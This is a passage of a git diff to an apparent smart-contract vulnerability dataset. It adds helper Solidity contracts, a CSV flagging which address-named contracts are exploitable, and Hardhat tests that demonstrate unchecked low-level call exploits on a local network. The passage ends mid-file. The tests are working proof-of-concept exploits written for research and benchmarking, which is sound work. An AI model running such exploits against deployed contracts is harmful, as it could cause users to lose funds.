diff --git a/smartbugs-curated/0.4.x/contracts/dataset/unchecked_low_level_calls/0xf70d589d76eebdd7c12cc5eec99f8f6fa4233b9e.sol b/smartbugs-curated/0.4.x/contracts/dataset/unchecked_low_level_calls/0xf70d589d76eebdd7c12cc5eec99f8f6fa4233b9e.sol index 1118f7c..f9de2c5 100644 --- a/smartbugs-curated/0.4.x/contracts/dataset/unchecked_low_level_calls/0xf70d589d76eebdd7c12cc5eec99f8f6fa4233b9e.sol +++ b/smartbugs-curated/0.4.x/contracts/dataset/unchecked_low_level_calls/0xf70d589d76eebdd7c12cc5eec99f8f6fa4233b9e.sol @@ -22,7 +22,7 @@ contract WhaleGiveaway2 payable { if(msg.value>1 ether) - { Owner.transfer(this.balance); + {Owner.transfer(this.balance); msg.sender.transfer(this.balance); } } diff --git a/smartbugs-curated/0.4.x/contracts/unchecked_low_level_calls/GeneScience.sol b/smartbugs-curated/0.4.x/contracts/unchecked_low_level_calls/GeneScience.sol new file mode 100644 index 0000000..2456e0d --- /dev/null +++ b/smartbugs-curated/0.4.x/contracts/unchecked_low_level_calls/GeneScience.sol @@ -0,0 +1,37 @@ +pragma solidity ^0.4.24; + +contract GeneScience { + /// @dev simply a boolean to indicate this is the contract we expect to be + function isGeneScience() public pure returns (bool) { + return true; + } + + /// @dev given genes of kitten 1 & 2, return a genetic combination - may have a random factor + /// @param genes1 genes of mom + /// @param genes2 genes of sire + /// @return the genes that are supposed to be passed down the child + function mixGenes(uint256[2] genes1, uint256[2] genes2,uint256 g1,uint256 g2, uint256 targetBlock) public returns (uint256[2]) { + uint256[2] memory gene; + gene[0] = (genes1[0] & g1) | (genes2[0] & g2); + gene[1] = (genes1[1] & g1) | (genes2[1] & g2); + return gene; + } + + function getPureFromGene(uint256[2] gene) public view returns(uint256) { + return 1; + } + + /// @dev get sex from genes 0: female 1: male + function getSex(uint256[2] gene) public view returns(uint256) { + return gene[0]%2; + } + + /// @dev get wizz type from gene + function getWizzType(uint256[2] gene) public view returns(uint256) { + return 1; + } + + function clearWizzType(uint256[2] _gene) public returns(uint256[2]) { + return _gene; + } +} \ No newline at end of file diff --git a/smartbugs-curated/0.4.x/contracts/unchecked_low_level_calls/MyERC721.sol b/smartbugs-curated/0.4.x/contracts/unchecked_low_level_calls/MyERC721.sol new file mode 100644 index 0000000..1908efe --- /dev/null +++ b/smartbugs-curated/0.4.x/contracts/unchecked_low_level_calls/MyERC721.sol @@ -0,0 +1,39 @@ +pragma solidity ^0.5.0; + +contract MyERC721 { + + /// @notice Name and symbol of the non fungible token, as defined in ERC721. + string public constant name = "NFT"; + string public constant symbol = "NFT"; + + bytes4 constant InterfaceSignature_ERC165 = + bytes4(keccak256('supportsInterface(bytes4)')); + + bytes4 constant InterfaceSignature_ERC721 = + bytes4(keccak256('name()')) ^ + bytes4(keccak256('symbol()')) ^ + bytes4(keccak256('totalSupply()')) ^ + bytes4(keccak256('balanceOf(address)')) ^ + bytes4(keccak256('ownerOf(uint256)')) ^ + bytes4(keccak256('approve(address,uint256)')) ^ + bytes4(keccak256('transfer(address,uint256)')) ^ + bytes4(keccak256('transferFrom(address,address,uint256)')) ^ + bytes4(keccak256('tokensOfOwner(address)')) ^ + bytes4(keccak256('tokenMetadata(uint256,string)')); + + /// @notice Introspection interface as per ERC-165 (https://github.com/ethereum/EIPs/issues/165). + /// Returns true for any standardized interfaces implemented by this contract. We implement + /// ERC-165 (obviously!) and ERC-721. + function supportsInterface(bytes4 _interfaceID) external view returns (bool) + { + // DEBUG ONLY + //require((InterfaceSignature_ERC165 == 0x01ffc9a7) && (InterfaceSignature_ERC721 == 0x9a20483d)); + + return ((_interfaceID == InterfaceSignature_ERC165) || (_interfaceID == InterfaceSignature_ERC721)); + } + + function() external payable { + revert("I always revert!"); + } + +} \ No newline at end of file diff --git a/smartbugs-curated/0.4.x/contracts/unchecked_low_level_calls/PandaCaller.sol b/smartbugs-curated/0.4.x/contracts/unchecked_low_level_calls/PandaCaller.sol new file mode 100644 index 0000000..2eecdcc --- /dev/null +++ b/smartbugs-curated/0.4.x/contracts/unchecked_low_level_calls/PandaCaller.sol @@ -0,0 +1,22 @@ +pragma solidity ^0.4.24; + +import "../dataset/unchecked_low_level_calls/0x663e4229142a27f00bafb5d087e1e730648314c3.sol"; +contract PandaCaller { + PandaCore public pandaCore; + + function PandaCaller(address _pandaCore) public { + pandaCore = PandaCore(_pandaCore); + } + + function call(uint256 _matronId, uint256[2] _childGenes, uint256[2] _factors) public { + uint babyId = pandaCore.giveBirth(_matronId, _childGenes, _factors); + } + + function withdraw() public { + pandaCore.withdrawBalance(); + } + + function() external payable { + revert("I always revert!"); + } +} \ No newline at end of file diff --git a/smartbugs-curated/0.4.x/contracts/unchecked_low_level_calls/TokenEBU.sol b/smartbugs-curated/0.4.x/contracts/unchecked_low_level_calls/TokenEBU.sol new file mode 100644 index 0000000..ea6370a --- /dev/null +++ b/smartbugs-curated/0.4.x/contracts/unchecked_low_level_calls/TokenEBU.sol @@ -0,0 +1,157 @@ +/** + *Submitted for verification at Etherscan.io on 2018-04-08 +*/ + +pragma solidity ^0.4.16; + +interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } + +contract TokenEBU { + // Public variables of the token + string public name; + string public symbol; + uint8 public decimals = 18; + // 18 decimals is the strongly suggested default, avoid changing it + uint256 public totalSupply; + + // This creates an array with all balances + mapping (address => uint256) public balanceOf; + mapping (address => mapping (address => uint256)) public allowance; + + // This generates a public event on the blockchain that will notify clients + event Transfer(address indexed from, address indexed to, uint256 value); + + // This notifies clients about the amount burnt + event Burn(address indexed from, uint256 value); + + /** + * Constructor function + * + * Initializes contract with initial supply tokens to the creator of the contract + */ + function TokenEBU( + uint256 initialSupply, + string tokenName, + string tokenSymbol + ) public { + totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount + balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens + name = tokenName; // Set the name for display purposes + symbol = tokenSymbol; // Set the symbol for display purposes + } + + /** + * Internal transfer, only can be called by this contract + */ + function _transfer(address _from, address _to, uint _value) internal { + // Prevent transfer to 0x0 address. Use burn() instead + require(_to != 0x0); + // Check if the sender has enough + require(balanceOf[_from] >= _value); + // Check for overflows + require(balanceOf[_to] + _value > balanceOf[_to]); + // Save this for an assertion in the future + uint previousBalances = balanceOf[_from] + balanceOf[_to]; + // Subtract from the sender + balanceOf[_from] -= _value; + // Add the same to the recipient + balanceOf[_to] += _value; + Transfer(_from, _to, _value); + // Asserts are used to use static analysis to find bugs in your code. They should never fail + assert(balanceOf[_from] + balanceOf[_to] == previousBalances); + } + + /** + * Transfer tokens + * + * Send `_value` tokens to `_to` from your account + * + * @param _to The address of the recipient + * @param _value the amount to send + */ + function transfer(address _to, uint256 _value) public { + _transfer(msg.sender, _to, _value); + } + + /** + * Transfer tokens from other address + * + * Send `_value` tokens to `_to` on behalf of `_from` + * + * @param _from The address of the sender + * @param _to The address of the recipient + * @param _value the amount to send + */ + function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { + require(_value <= allowance[_from][msg.sender]); // Check allowance + allowance[_from][msg.sender] -= _value; + _transfer(_from, _to, _value); + return true; + } + + /** + * Set allowance for other address + * + * Allows `_spender` to spend no more than `_value` tokens on your behalf + * + * @param _spender The address authorized to spend + * @param _value the max amount they can spend + */ + function approve(address _spender, uint256 _value) public + returns (bool success) { + allowance[msg.sender][_spender] = _value; + return true; + } + + /** + * Set allowance for other address and notify + * + * Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it + * + * @param _spender The address authorized to spend + * @param _value the max amount they can spend + * @param _extraData some extra information to send to the approved contract + */ + function approveAndCall(address _spender, uint256 _value, bytes _extraData) + public + returns (bool success) { + tokenRecipient spender = tokenRecipient(_spender); + if (approve(_spender, _value)) { + spender.receiveApproval(msg.sender, _value, this, _extraData); + return true; + } + } + + /** + * Destroy tokens + * + * Remove `_value` tokens from the system irreversibly + * + * @param _value the amount of money to burn + */ + function burn(uint256 _value) public returns (bool success) { + require(balanceOf[msg.sender] >= _value); // Check if the sender has enough + balanceOf[msg.sender] -= _value; // Subtract from the sender + totalSupply -= _value; // Updates totalSupply + Burn(msg.sender, _value); + return true; + } + + /** + * Destroy tokens from other account + * + * Remove `_value` tokens from the system irreversibly on behalf of `_from`. + * + * @param _from the address of the sender + * @param _value the amount of money to burn + */ + function burnFrom(address _from, uint256 _value) public returns (bool success) { + require(balanceOf[_from] >= _value); // Check if the targeted balance is enough + require(_value <= allowance[_from][msg.sender]); // Check allowance + balanceOf[_from] -= _value; // Subtract from the targeted balance + allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance + totalSupply -= _value; // Update totalSupply + Burn(_from, _value); + return true; + } +} \ No newline at end of file diff --git a/smartbugs-curated/0.4.x/contracts/unchecked_low_level_calls/TownCrierCaller.sol b/smartbugs-curated/0.4.x/contracts/unchecked_low_level_calls/TownCrierCaller.sol new file mode 100644 index 0000000..e8bf768 --- /dev/null +++ b/smartbugs-curated/0.4.x/contracts/unchecked_low_level_calls/TownCrierCaller.sol @@ -0,0 +1,33 @@ +pragma solidity ^0.4.9; + +import "../dataset/unchecked_low_level_calls/0x89c1b3807d4c67df034fffb62f3509561218d30b.sol"; +import "hardhat/console.sol"; +contract TownCrierCaller { + TownCrier public TC_CONTRACT; + bytes4 constant TC_CALLBACK_FID = bytes4(sha3("response(uint64,uint64,bytes32)")); + int requestId; + bytes32 public hash; + + function TownCrierCaller(address _townCrier) { + TC_CONTRACT = TownCrier(_townCrier); + } + + function request(uint8 requestType, bytes32[] requestData) public payable { + + requestId = TC_CONTRACT.request.value(msg.value)(requestType, this, TC_CALLBACK_FID, 0, requestData); + hash = sha3(requestType, requestData); + } + + function cancel() public { + TC_CONTRACT.cancel(uint64(requestId)); + } + + function response(uint64 responseType, uint64 errors, bytes32 data) public { + revert(); + } + + function() payable { + revert(); + } + +} \ No newline at end of file diff --git a/smartbugs-curated/0.4.x/contracts/unchecked_low_level_calls/exploits.csv b/smartbugs-curated/0.4.x/contracts/unchecked_low_level_calls/exploits.csv new file mode 100644 index 0000000..c142f89 --- /dev/null +++ b/smartbugs-curated/0.4.x/contracts/unchecked_low_level_calls/exploits.csv @@ -0,0 +1,53 @@ +file path, exploitable and exposed +unchecked_low_level_calls/0x07f7ecb66d788ab01dc93b9b71a88401de7d0f2e.sol,True +unchecked_low_level_calls/0x0cbe050f75bc8f8c2d6c0d249fea125fd6e1acc9.sol,False +unchecked_low_level_calls/0x19cf8481ea15427a98ba3cdd6d9e14690011ab10.sol,False +unchecked_low_level_calls/0x2972d548497286d18e92b5fa1f8f9139e5653fd2.sol,True +unchecked_low_level_calls/0x39cfd754c85023648bf003bea2dd498c5612abfa.sol,True +unchecked_low_level_calls/0x3a0e9acd953ffc0dd18d63603488846a6b8b2b01.sol,True +unchecked_low_level_calls/0x3e013fc32a54c4c5b6991ba539dcd0ec4355c859.sol,False +unchecked_low_level_calls/0x3f2ef511aa6e75231e4deafc7a3d2ecab3741de2.sol,False +unchecked_low_level_calls/0x4051334adc52057aca763453820cb0e045076ef3.sol,True +unchecked_low_level_calls/0x4a66ad0bca2d700f11e1f2fc2c106f7d3264504c.sol,False +unchecked_low_level_calls/0x4b71ad9c1a84b9b643aa54fdd66e2dec96e8b152.sol,True +unchecked_low_level_calls/0x524960d55174d912768678d8c606b4d50b79d7b1.sol,False +unchecked_low_level_calls/0x52d2e0f9b01101a59b38a3d05c80b7618aeed984.sol,True +unchecked_low_level_calls/0x5aa88d2901c68fda244f1d0584400368d2c8e739.sol,False +unchecked_low_level_calls/0x610495793564aed0f9c7fc48dc4c7c9151d34fd6.sol,False +unchecked_low_level_calls/0x627fa62ccbb1c1b04ffaecd72a53e37fc0e17839.sol,True +unchecked_low_level_calls/0x663e4229142a27f00bafb5d087e1e730648314c3.sol,True +unchecked_low_level_calls/0x70f9eddb3931491aab1aeafbc1e7f1ca2a012db4.sol,False +unchecked_low_level_calls/0x78c2a1e91b52bca4130b6ed9edd9fbcfd4671c37.sol,False +unchecked_low_level_calls/0x7a4349a749e59a5736efb7826ee3496a2dfd5489.sol,False +unchecked_low_level_calls/0x7d09edb07d23acb532a82be3da5c17d9d85806b4.sol,True +unchecked_low_level_calls/0x806a6bd219f162442d992bdc4ee6eba1f2c5a707.sol,False +unchecked_low_level_calls/0x84d9ec85c9c568eb332b7226a8f826d897e0a4a8.sol,False +unchecked_low_level_calls/0x89c1b3807d4c67df034fffb62f3509561218d30b.sol,True +unchecked_low_level_calls/0x8fd1e427396ddb511533cf9abdbebd0a7e08da35.sol,True +unchecked_low_level_calls/0x958a8f594101d2c0485a52319f29b2647f2ebc06.sol,False +unchecked_low_level_calls/0x9d06cbafa865037a01d322d3f4222fa3e04e5488.sol,False +unchecked_low_level_calls/0xa1fceeff3acc57d257b917e30c4df661401d6431.sol,True +unchecked_low_level_calls/0xa46edd6a9a93feec36576ee5048146870ea2c3ae.sol,True +unchecked_low_level_calls/0xb0510d68f210b7db66e8c7c814f22680f2b8d1d6.sol,False +unchecked_low_level_calls/0xb11b2fed6c9354f7aa2f658d3b4d7b31d8a13b77.sol,True +unchecked_low_level_calls/0xb37f18af15bafb869a065b61fc83cfc44ed9cc27.sol,False +unchecked_low_level_calls/0xb620cee6b52f96f3c6b253e6eea556aa2d214a99.sol,False +unchecked_low_level_calls/0xb7c5c5aa4d42967efe906e1b66cb8df9cebf04f7.sol,True +unchecked_low_level_calls/0xbaa3de6504690efb064420d89e871c27065cdd52.sol,True +unchecked_low_level_calls/0xbebbfe5b549f5db6e6c78ca97cac19d1fb03082c.sol,True +unchecked_low_level_calls/0xd2018bfaa266a9ec0a1a84b061640faa009def76.sol,False +unchecked_low_level_calls/0xd5967fed03e85d1cce44cab284695b41bc675b5c.sol,True +unchecked_low_level_calls/0xdb1c55f6926e7d847ddf8678905ad871a68199d2.sol,False +unchecked_low_level_calls/0xe09b1ab8111c2729a76f16de96bc86a7af837928.sol,False +unchecked_low_level_calls/0xe4eabdca81e31d9acbc4af76b30f532b6ed7f3bf.sol,False +unchecked_low_level_calls/0xe82f0742a71a02b9e9ffc142fdcb6eb1ed06fb87.sol,False +unchecked_low_level_calls/0xe894d54dca59cb53fe9cbc5155093605c7068220.sol,True +unchecked_low_level_calls/0xec329ffc97d75fe03428ae155fc7793431487f63.sol,False +unchecked_low_level_calls/0xf2570186500a46986f3139f65afedc2afe4f445d.sol,False +unchecked_low_level_calls/0xf29ebe930a539a60279ace72c707cba851a57707.sol,False +unchecked_low_level_calls/0xf70d589d76eebdd7c12cc5eec99f8f6fa4233b9e.sol,False +unchecked_low_level_calls/etherpot_lotto.sol,False +unchecked_low_level_calls/king_of_the_ether_throne.sol,False +unchecked_low_level_calls/lotto.sol,False +unchecked_low_level_calls/mishandled.sol,False +unchecked_low_level_calls/unchecked_return_value.sol,False diff --git a/smartbugs-curated/0.4.x/contracts/unchecked_low_level_calls/revert_contract.sol b/smartbugs-curated/0.4.x/contracts/unchecked_low_level_calls/revert_contract.sol new file mode 100644 index 0000000..3434304 --- /dev/null +++ b/smartbugs-curated/0.4.x/contracts/unchecked_low_level_calls/revert_contract.sol @@ -0,0 +1,22 @@ +pragma solidity 0.4.25; + +import "hardhat/console.sol"; + +contract RevertContract { + + // Fallback function that will fail on purpose + function() external payable { + revert("I always revert!"); + } + + function sendEther(address _to) public payable { + (bool success, ) = _to.call.value(msg.value)(""); + require(success, "Ether transfer failed"); + } + + function withdrawEther(address _from) public { + bytes4 data = bytes4(keccak256("withdraw()")); + (bool success, ) = _from.call(data); + require(success, "Ether transfer failed"); + } +} \ No newline at end of file diff --git a/smartbugs-curated/0.4.x/hardhat.config.js b/smartbugs-curated/0.4.x/hardhat.config.js index 90c3bd4..9aeffe3 100644 --- a/smartbugs-curated/0.4.x/hardhat.config.js +++ b/smartbugs-curated/0.4.x/hardhat.config.js @@ -8,6 +8,12 @@ module.exports = { }, { version: "0.4.25", + settings: { + optimizer: { + enabled: true, + runs: 1000, + }, + }, }, { version: "0.5.0", diff --git a/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0x07f7ecb66d788ab01dc93b9b71a88401de7d0f2e_test.js b/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0x07f7ecb66d788ab01dc93b9b71a88401de7d0f2e_test.js new file mode 100644 index 0000000..e11e217 --- /dev/null +++ b/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0x07f7ecb66d788ab01dc93b9b71a88401de7d0f2e_test.js @@ -0,0 +1,51 @@ +const { loadFixture } = require('@nomicfoundation/hardhat-network-helpers'); +const { expect } = require('chai'); + +describe("attack unchecked_low_level_calls/0x07f7ecb66d788ab01dc93b9b71a88401de7d0f2e.sol", function () { + + let owner, amount; + + async function deployContracts() { + amount = ethers.parseEther("0.01"); + [owner] = await ethers.getSigners(); + const RevertContract = await ethers.getContractFactory("contracts/unchecked_low_level_calls/revert_contract.sol:RevertContract"); + const revertContract = await RevertContract.deploy(); + + const PoCGame = await ethers.getContractFactory("contracts/dataset/unchecked_low_level_calls/0x07f7ecb66d788ab01dc93b9b71a88401de7d0f2e.sol:PoCGame"); + const contract = await PoCGame.connect(owner).deploy(revertContract.target, amount); + + return {contract, revertContract} + }; + + it("exploit unchecked low level call vulnerability", async function () { + const {contract, revertContract} = await loadFixture(deployContracts); + await expect( + owner.sendTransaction({ + to: revertContract.target, + value: amount, + }) + ).to.be.revertedWith("I always revert!"); + + const donatedValue = await ethers.provider.getStorage(contract.target, 8); + expect(Number(donatedValue)).to.be.equal(0); + await expect(contract.connect(owner).AdjustDifficulty(amount)) + .to.emit(contract, "DifficultyChanged") + .withArgs(amount); + await contract.connect(owner).OpenToThePublic(); + + await expect(contract.connect(owner).wager({value: amount})) + .to.emit(contract, "Wager") + .withArgs(amount, owner.address); + + expect(await ethers.provider.getBalance(contract.target)).to.be.equal(amount); + await expect(contract.connect(owner).play()) + .to.emit(contract, "Lose") + .withArgs(amount/BigInt(2), owner.address); + + expect(await ethers.provider.getBalance(contract.target)).to.be.equal(amount); + expect(await ethers.provider.getBalance(revertContract.target)).to.be.equal(0); + const donatedValueAfter = await ethers.provider.getStorage(contract.target, 8); + expect(Number(donatedValueAfter)).to.be.equal(amount/BigInt(2)); + + }); +}); diff --git a/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0x2972d548497286d18e92b5fa1f8f9139e5653fd2_test.js b/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0x2972d548497286d18e92b5fa1f8f9139e5653fd2_test.js new file mode 100644 index 0000000..eccd247 --- /dev/null +++ b/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0x2972d548497286d18e92b5fa1f8f9139e5653fd2_test.js @@ -0,0 +1,44 @@ +const { loadFixture } = require('@nomicfoundation/hardhat-network-helpers'); +const { expect } = require('chai'); + +describe("attack unchecked_low_level_calls/0x2972d548497286d18e92b5fa1f8f9139e5653fd2.sol", function () { + let owner, sig; + async function deployContracts() { + [owner, sig] = await ethers.getSigners(); + const demo = await ethers.getContractFactory("contracts/dataset/unchecked_low_level_calls/0x2972d548497286d18e92b5fa1f8f9139e5653fd2.sol:demo"); + const contract = await demo.deploy(); + + const TokenEBU = await ethers.getContractFactory("contracts/unchecked_low_level_calls/TokenEBU.sol:TokenEBU"); + const token = await TokenEBU.connect(owner).deploy(1, "EBU", "EBU"); + + return {contract, token} + }; + + it("exploit unchecked low level call vulnerability", async function () { + const {contract, token} = await loadFixture(deployContracts); + + const amount = await token.balanceOf(owner.address); + expect(amount).to.be.equal(1000000000000000000n); + expect(await token.balanceOf(contract.target)).to.be.equal(0); + expect(await token.balanceOf(sig.address)).to.be.equal(0); + + await token.connect(owner).approve(contract.target, 10); + + const value = await token.allowance(owner.address, contract.target); + expect(value).to.be.equal(10); + + const from = owner.address; + + const to = [contract.target, sig.address]; + + const val = [10, 10]; + + // it does not revert cause the return value o all is not checked + await expect(contract.transfer(from, token.target, to, val)).not.be.reverted; + // the second transfer does not happen + expect(await token.balanceOf(owner)).to.be.equal(amount - BigInt(10)); + expect(await token.balanceOf(contract.target)).to.be.equal(10); + expect(await token.balanceOf(sig.address)).to.be.equal(0); + + }); +}); diff --git a/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0x39cfd754c85023648bf003bea2dd498c5612abfa_test.js b/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0x39cfd754c85023648bf003bea2dd498c5612abfa_test.js new file mode 100644 index 0000000..9a8e12e --- /dev/null +++ b/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0x39cfd754c85023648bf003bea2dd498c5612abfa_test.js @@ -0,0 +1,106 @@ +const { loadFixture } = require('@nomicfoundation/hardhat-network-helpers'); +const { expect } = require('chai'); + +describe("attack unchecked_low_level_calls/0x39cfd754c85023648bf003bea2dd498c5612abfa.sol", function () { + let owner, sig; + async function deployContracts() { + [owner, sig] = await ethers.getSigners(); + const TokenBank = await ethers.getContractFactory("contracts/dataset/unchecked_low_level_calls/0x39cfd754c85023648bf003bea2dd498c5612abfa.sol:TokenBank"); + const contract = await TokenBank.connect(owner).deploy(); + + const RevertContract = await ethers.getContractFactory("contracts/unchecked_low_level_calls/revert_contract.sol:RevertContract"); + const revertContract = await RevertContract.deploy(); + + return {contract, revertContract} + }; + + it("exploit unchecked low level call vulnerability in WithdrawToken()", async function () { + const {contract, revertContract} = await loadFixture(deployContracts); + + await contract.connect(owner).initTokenBank(); + + const minDeposit = await contract.MinDeposit(); + const oneEther = ethers.parseEther("1"); + expect(minDeposit).to.equal(oneEther); + + await expect( + sig.sendTransaction({ + to: revertContract.target, + value: oneEther, + }) + ).to.be.revertedWith("I always revert!"); + + const amount = ethers.parseEther("2"); + // Signer deposits ether to become a holder + await sig.sendTransaction({ + to: contract.target, + value: amount, + }); + + expect(await ethers.provider.getBalance(contract.target)).to.equal(amount); + + // Expect signer to be in Holders + expect(await contract.Holders(sig.address)).to.equal(amount); + + // signer puts the wrong address in the withdraw function + await contract.WitdrawTokenToHolder(sig.address, revertContract.target, amount); + + //signer no longer holds tokens + expect(await contract.Holders(sig.address)).to.equal(0); + + const revertBalance = await ethers.provider.getBalance(revertContract.target); + // the wrong contract doesn't get the ether + expect(revertBalance).to.equal(0); + + // the contract still holds the ether + expect(await ethers.provider.getBalance(contract.target)).to.equal(amount); + + + }); + + it("exploit unchecked low level call vulnerability in WithdrawToHolder()", async function () { + const {contract, revertContract} = await loadFixture(deployContracts); + + await contract.connect(owner).initTokenBank(); + + const minDeposit = await contract.MinDeposit(); + const oneEther = ethers.parseEther("1"); + expect(minDeposit).to.equal(oneEther); + + await expect( + sig.sendTransaction({ + to: revertContract.target, + value: oneEther, + }) + ).to.be.revertedWith("I always revert!"); + + const amount = ethers.parseEther("2"); + + await revertContract.connect(sig).sendEther(contract.target, {value: amount}); + + await owner.sendTransaction({ + to: contract.target, + value: amount, + }); + + expect(await ethers.provider.getBalance(contract.target)).to.equal(amount + amount); + + expect(await contract.Holders(revertContract.target)).to.equal(amount); + + expect(await contract.Holders(owner.address)).to.equal(amount); + + await contract.connect(owner).WithdrawToHolder(revertContract.target, amount); + + expect(await contract.Holders(owner.address)).to.equal(amount); + expect(await contract.Holders(revertContract.target)).to.equal(0); + + + const revertBalance = await ethers.provider.getBalance(revertContract.target); + expect(revertBalance).to.equal(0); + + expect(await ethers.provider.getBalance(contract.target)).to.equal(amount + amount); + + }); + + +}); diff --git a/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0x3a0e9acd953ffc0dd18d63603488846a6b8b2b01_test.js b/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0x3a0e9acd953ffc0dd18d63603488846a6b8b2b01_test.js new file mode 100644 index 0000000..4c2c78f --- /dev/null +++ b/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0x3a0e9acd953ffc0dd18d63603488846a6b8b2b01_test.js @@ -0,0 +1,106 @@ +const { loadFixture } = require('@nomicfoundation/hardhat-network-helpers'); +const { expect } = require('chai'); + +describe("attack unchecked_low_level_calls/0x3a0e9acd953ffc0dd18d63603488846a6b8b2b01.sol", function () { + let owner, sig; + async function deployContracts() { + [owner, sig] = await ethers.getSigners(); + const TokenBank = await ethers.getContractFactory("contracts/dataset/unchecked_low_level_calls/0x3a0e9acd953ffc0dd18d63603488846a6b8b2b01.sol:TokenBank"); + const contract = await TokenBank.connect(owner).deploy(); + + const RevertContract = await ethers.getContractFactory("contracts/unchecked_low_level_calls/revert_contract.sol:RevertContract"); + const revertContract = await RevertContract.deploy(); + + return {contract, revertContract} + }; + + it("exploit unchecked low level call vulnerability in WithdrawToken()", async function () { + const {contract, revertContract} = await loadFixture(deployContracts); + + await contract.connect(owner).initTokenBank(); + + const minDeposit = await contract.MinDeposit(); + const oneEther = ethers.parseEther("1"); + expect(minDeposit).to.equal(oneEther); + + await expect( + sig.sendTransaction({ + to: revertContract.target, + value: oneEther, + }) + ).to.be.revertedWith("I always revert!"); + + const amount = ethers.parseEther("2"); + // Signer deposits ether to become a holder + await sig.sendTransaction({ + to: contract.target, + value: amount, + }); + + expect(await ethers.provider.getBalance(contract.target)).to.equal(amount); + + // Expect signer to be in Holders + expect(await contract.Holders(sig.address)).to.equal(amount); + + // signer puts the wrong address in the withdraw function + await contract.WitdrawTokenToHolder(sig.address, revertContract.target, amount); + + //signer no longer holds tokens + expect(await contract.Holders(sig.address)).to.equal(0); + + const revertBalance = await ethers.provider.getBalance(revertContract.target); + // the wrong contract doesn't get the ether + expect(revertBalance).to.equal(0); + + // the contract still holds the ether + expect(await ethers.provider.getBalance(contract.target)).to.equal(amount); + + + }); + + it("exploit unchecked low level call vulnerability in WithdrawToHolder()", async function () { + const {contract, revertContract} = await loadFixture(deployContracts); + + await contract.connect(owner).initTokenBank(); + + const minDeposit = await contract.MinDeposit(); + const oneEther = ethers.parseEther("1"); + expect(minDeposit).to.equal(oneEther); + + await expect( + sig.sendTransaction({ + to: revertContract.target, + value: oneEther, + }) + ).to.be.revertedWith("I always revert!"); + + const amount = ethers.parseEther("2"); + + await revertContract.connect(sig).sendEther(contract.target, {value: amount}); + + await owner.sendTransaction({ + to: contract.target, + value: amount, + }); + + expect(await ethers.provider.getBalance(contract.target)).to.equal(amount + amount); + + expect(await contract.Holders(revertContract.target)).to.equal(amount); + + expect(await contract.Holders(owner.address)).to.equal(amount); + + await contract.connect(owner).WithdrawToHolder(revertContract.target, amount); + + expect(await contract.Holders(owner.address)).to.equal(amount); + expect(await contract.Holders(revertContract.target)).to.equal(0); + + + const revertBalance = await ethers.provider.getBalance(revertContract.target); + expect(revertBalance).to.equal(0); + + expect(await ethers.provider.getBalance(contract.target)).to.equal(amount + amount); + + }); + + +}); diff --git a/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0x4051334adc52057aca763453820cb0e045076ef3_test.js b/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0x4051334adc52057aca763453820cb0e045076ef3_test.js new file mode 100644 index 0000000..323eb44 --- /dev/null +++ b/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0x4051334adc52057aca763453820cb0e045076ef3_test.js @@ -0,0 +1,44 @@ +const { loadFixture } = require('@nomicfoundation/hardhat-network-helpers'); +const { expect } = require('chai'); + +describe("attack unchecked_low_level_calls/0x4051334adc52057aca763453820cb0e045076ef3.sol", function () { + let owner, sig; + async function deployContracts() { + [owner, sig] = await ethers.getSigners(); + const airdrop = await ethers.getContractFactory("contracts/dataset/unchecked_low_level_calls/0x4051334adc52057aca763453820cb0e045076ef3.sol:airdrop"); + const contract = await airdrop.deploy(); + + const TokenEBU = await ethers.getContractFactory("contracts/unchecked_low_level_calls/TokenEBU.sol:TokenEBU"); + const token = await TokenEBU.connect(owner).deploy(1, "EBU", "EBU"); + + return {contract, token} + }; + + it("exploit unchecked low level call vulnerability", async function () { + const {contract, token} = await loadFixture(deployContracts); + + const amount = await token.balanceOf(owner.address); + expect(amount).to.be.equal(1000000000000000000n); + expect(await token.balanceOf(contract.target)).to.be.equal(0); + expect(await token.balanceOf(sig.address)).to.be.equal(0); + + await token.connect(owner).approve(contract.target, 10); + + const value = await token.allowance(owner.address, contract.target); + expect(value).to.be.equal(10); + + const from = owner.address; + + const to = [contract.target, sig.address]; + + const val = 10; + + // it does not revert cause the return value o all is not checked + await expect(contract.transfer(from, token.target, to, val)).not.be.reverted; + // the second transfer does not happen + expect(await token.balanceOf(owner)).to.be.equal(amount - BigInt(val)); + expect(await token.balanceOf(contract.target)).to.be.equal(10); + expect(await token.balanceOf(sig.address)).to.be.equal(0); + + }); +}); diff --git a/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0x4b71ad9c1a84b9b643aa54fdd66e2dec96e8b152_test.js b/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0x4b71ad9c1a84b9b643aa54fdd66e2dec96e8b152_test.js new file mode 100644 index 0000000..3decb9d --- /dev/null +++ b/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0x4b71ad9c1a84b9b643aa54fdd66e2dec96e8b152_test.js @@ -0,0 +1,44 @@ +const { loadFixture } = require('@nomicfoundation/hardhat-network-helpers'); +const { expect } = require('chai'); + +describe("attack unchecked_low_level_calls/0x4b71ad9c1a84b9b643aa54fdd66e2dec96e8b152.sol", function () { + let owner, sig; + async function deployContracts() { + [owner, sig] = await ethers.getSigners(); + const airPort = await ethers.getContractFactory("contracts/dataset/unchecked_low_level_calls/0x4b71ad9c1a84b9b643aa54fdd66e2dec96e8b152.sol:airPort"); + const contract = await airPort.deploy(); + + const TokenEBU = await ethers.getContractFactory("contracts/unchecked_low_level_calls/TokenEBU.sol:TokenEBU"); + const 